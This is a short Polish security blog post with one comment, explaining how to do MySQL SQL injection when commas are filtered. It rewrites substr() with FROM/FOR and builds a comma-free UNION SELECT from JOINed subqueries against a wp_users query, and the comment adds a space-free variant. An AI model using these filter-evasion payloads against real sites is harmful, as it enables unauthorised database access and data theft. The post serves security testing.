środa, 6 marca 2013

SQL Injection without comma char

Ostatnio podczas testowania pewnej strony na podatność SQL Injection zostało na mnie - podejrzewam nieświadomie - nałożone sprytne ograniczenie w postaci braku możliwości wykorzystania przecinka. Prawdopodobnie był on kiedyś separatorem parametrów przekazywanych przez GET, jednak z tego co zaobserwowałem tylko jedna część brała udział w zapytaniu.

Pojawiają się dwa pytania - jak użyć funkcji, w których separatorem parametrów jest przecinek, oraz najważniejsze - jak zrobić union select? ;-) Jakby ktoś kiedyś potrzebował:

mysql> SELECT substr('test',1,1);
+--------------------+
| substr('test',1,1) |
+--------------------+
| t                  |
+--------------------+
1 row in set (0.00 sec)

mysql> SELECT substr('test' FROM 1 FOR 1);
+-----------------------------+
| substr('test' FROM 1 FOR 1) |
+-----------------------------+
| t                           |
+-----------------------------+
1 row in set (0.00 sec)


Klucz programu:


mysql> SELECT user_login, user_pass FROM wp_users WHERE user_login='-1' UNION SELECT null,user();
+------------+------------------+
| user_login | user_pass        |
+------------+------------------+
| NULL       | zoczus@localhost |
+------------+------------------+
1 row in set (0.00 sec)

mysql> SELECT user_login, user_pass FROM wp_users WHERE user_login='-1' UNION SELECT * FROM (SELECT null) AS a JOIN (SELECT user()) AS b;
+------------+------------------+
| user_login | user_pass        |
+------------+------------------+
| NULL       | zoczus@localhost |
+------------+------------------+
1 row in set (0.00 sec)

Have fun!

1 komentarz:

  1. Ku pamięci i dla pozostałych osób szukających - gdy nie można używać spacji, można użyć takiej formy:

    substr((user())FROM(1)FOR(1))

    OdpowiedzUsuń